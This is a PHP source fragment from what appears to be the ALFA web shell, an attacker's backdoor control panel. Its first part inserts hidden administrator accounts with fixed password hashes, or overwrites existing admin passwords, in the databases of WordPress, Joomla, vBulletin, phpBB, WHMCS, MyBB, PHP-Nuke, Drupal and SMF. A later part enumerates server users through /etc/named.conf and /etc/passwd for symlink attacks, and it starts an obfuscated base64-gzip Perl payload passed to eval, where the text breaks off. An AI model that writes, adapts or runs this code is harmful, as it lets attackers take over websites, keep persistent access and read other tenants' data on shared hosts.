$vals = array('WordPress' => array('wp',2),'Joomla' => array('joomla',3),'vBulletin' => array('vb',5),'phpBB' => array('phpbb',6),'WHMCS' => array('whmcs',7),'MyBB' => array('mybb',8),'Php Nuke' => array('nuke',9),'Drupal' => array('drupal',10),'SMF' => array('smf',11));
Alfa_Create_A_Tag('pwchanger',$vals);
echo '</h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='wp'){
echo __pre().'<center><center><div class="txtfont_header">| WordPress |</div>
<p>'.getConfigHtml('wp').'</p><form onSubmit="g(\'pwchanger\',null,\'wp\',\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host','id'=>'db_host', 'inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'wp_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'kh', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form>';
if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select ID from ".$prefix."users where user_login='".$admin."'") or die(mysqli_error($conn));
$sole = @mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = @mysqli_fetch_assoc($solevisible);
$res = $solevis['ID'];
}
$solevisible=@mysqli_query($conn,"insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible'),(null,'".$res."','last_name','solevisible'),(null,'".$res."','nickname','solevisible'),(null,'".$res."','description','solevisible'),(null,'".$res."','rich_editing','true'),(null,'".$res."','comment_shortcuts','false'),(null,'".$res."','admin_color','fresh'),(null,'".$res."','use_ssl','0'),(null,'".$res."','show_admin_bar_front','true'),(null,'".$res."','".$prefix."capabilities','a:1:{s:13:\"administrator\";b:1;}'),(null,'".$res."','".$prefix."user_level','10'),(null,'".$res."','show_welcome_panel','1'),(null,'".$res."','".$prefix."dashboard_quick_press_last_post_id','3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa2'] && $_POST['alfa2'] == 'joomla'){
echo __pre().'<center><center><div class="txtfont_header">| Joomla |</div><p><p>'.getConfigHtml('joomla').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'jos_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa3'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username='".$admin."'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis['id'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
echo __pre().'<center><center><div class="txtfont_header">| vBulletin |<div><p>'.getConfigHtml('vb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = '{$prefix}user' and column_name = 'password' and table_schema = '{$database}'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL','".date('Y-m-d')."','".time()."')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,'6','$admin','\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq','Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>','$SQL','".date('Y-m-d')."','".time()."','blowfish:10','1984-05-20')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['userid'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','".$adm_perm."')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa5']) && $_POST['alfa5'] == 'phpbb'){
echo __pre().'<center><div class="txtfont_header">| phpBB |</div><p><p>'.getConfigHtml('phpbb').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5('solevisible');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');
}
}
}
if(isset($_POST['alfa6']) && $_POST['alfa6'] == 'whmcs'){
echo __pre().'<center><div class="txtfont_header">| Whmcs |</div><p><p>'.getConfigHtml('whmcs').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000','tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa7']) && $_POST['alfa7'] == 'mybb'){
echo __pre().'<center><div class="txtfont_header">| Mybb |</div><p><p>'.getConfigHtml('mybb').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa8'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa8']) && $_POST['alfa8'] == 'nuke'){
echo __pre().'<center><div class="txtfont_header">| PhpNuke |</div><p><p>'.getConfigHtml('phpnuke').'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
'td8' =>
array('color' => 'FF0000', 'tdName' => 'Admin Email', 'inputName' => 'email', 'inputValue' => 'solevisible@fbi.gov', 'inputSize' => '50')
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa4'];
$password = $_POST['alfa5'];
$admin = $_POST['alfa7'];
$SQL = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa9']) && $_POST['alfa9'] == 'drupal'){
echo __pre().'<center><div class="txtfont_header">| Drupal |</div><p><p>'.getConfigHtml('drupal').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'toftof', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true)
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa4'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid['uid'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe/Berlin','solevisible@fbi.gov')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name='".$admin."'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis['uid'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES ('".$res."', '3')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
if(isset($_POST['alfa10']) && $_POST['alfa10'] == 'smf'){
echo __pre().'<center><center><div class="txtfont_header">| SMF |</div><p><p>'.getConfigHtml('smf').'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),
'td6' =>
array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),
'td7' =>
array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),
);
create_table($table);
echo '<p><input value=" " name="send" type="submit"></p></form></center>';
if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
$localhost = $_POST['alfa2'];
$database = $_POST['alfa3'];
$username = $_POST['alfa5'];
$password = $_POST['alfa6'];
$prefix = $_POST['alfa7'];
$admin = $_POST['alfa8'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . 'solevisible');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')") or die(mysqli_error($conn));
if($solevisible){
__alert('Success... '.$admin.' is created...');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
return "/home/{user}/public_html/";
}
$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
$public = end($document);
array_pop($document);
array_pop($document);
$path = implode("/", $document) . "/{user}/" . $public;
return $path;
}
function alfaGetDomains($state = false){
$state = "named.conf";
$lines = array();
$lines = _alfa_file('/etc/named.conf');
if(!$lines){
$lines = @scandir("/etc/valiases/");
$state = "valiases";
if(!$lines){
$lines = @scandir("/var/named");
$state = "named";
if(!$lines && $state){
$lines = _alfa_file('/etc/passwd');
$state = "passwd";
}
}
}
return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
$parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
if(!@is_dir($parent)){
@mkdir($parent, 0755, true);
}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
$sympath = alfaMakePwd();
@mkdir('cgialfa',0755);
@chdir('cgialfa');
alfacgihtaccess('cgi');
$perl = '#!/usr/bin/perl -I/usr/local/bandmin\nuse MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("H4sIAAAAAAAA/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf/X77SBqgoHOZId3N/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou/UaKBsbjVmWUMQwQc9RnM5iFoew/4kulpMkTm/Qn0v0Ny2SjguC98xgTRNGV9oNlWeUJxo4GeIBwRw7hhuNYrF1jWDNpiGQHuCiwEu0AsdZgO/tNma+ZwPa8UA484+ZP4TNBOdo1RgI//trdCwAg4LyaZEiS8UDIPvDlUBe2/aR3/YUg3xOStqvNdV4aO3osFhpGkLwYA0HAIXov8ggcUEjblQAhjvOJtRdTRkt1m4+DZM4Goh4EYoAXpMCCOWRm+IJJQ6E7dBAz5+jJtHfZ+AHzChzf5PmMcuTmIPA8tdy+667ixrvPn9bGW/PT79+evf5cvDl/PzSWNsq5g8ANs9ypBCD2lKz+57FqWW4xq7+bjsggWZuIAcoKItN8A3lRWm0PeA6o+LlH4r3vjaiTqcOQKqwNR9GmwlpBLEvYgyVkX8Gj+dD5APDPcfouOIU0kQAcrKFVkKHXFDCaFzQYdc0HJCKSiddHYnn2kBHyPyOZ5hFRZzzNk5owS1jDtVDVI5hnBJEsgmOU8dxDNtsI3PMed52XROEoLZjmIhDllHeNQdhgtMb857QnnfSanlKaFoTGleCb9Hy7Ewh+IcP1KxrAzniGCIlmMosV6xzSC2HL7g43oes+ZWAYFNZT3R2PhDQ5UVPZxzJBsDpfk7IEPJfiRiaE/ldfDqe+fvwydKbqLZ+Va0bMwJrX5OApaeWbzZLb7P0FUQt1WTGQFaoY8FDfwqynEJ6E0+4ju0i816CmTbKigqnTDAj0FJ3NGIviJIMWoneKtaAI3hXSCV7IbR5N2FNKQcUBKQaTWtXASreB1J3zbKgonQXEurOueJ5cJfLDBdKm6c5+L/g4JccdsTGXiknQDmDB6rytqK21bCzuOBTnLgqVbJ5SgtWmfiOEE9b1tdaHtacXjOr5vKkzoeaW7RV48ONSQ9LXaQdHw8RImVRBDvyuJRdbqr25WnL6e0bva0Uq+JXcLVyzNi84qp2j1hMHfYC4QoIVrU1gg1lXU91EUDviiIrRLnSolXlFos2rAaArumbZcEMcXQzKrJpSpp6BlAjhh4f2h7CU57Jiqznm/9Zt188KGVbK+VbGUTsaeCySn6FHvRL0O0Frixu8NJ6iUkLal1jIe0/zCB+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hww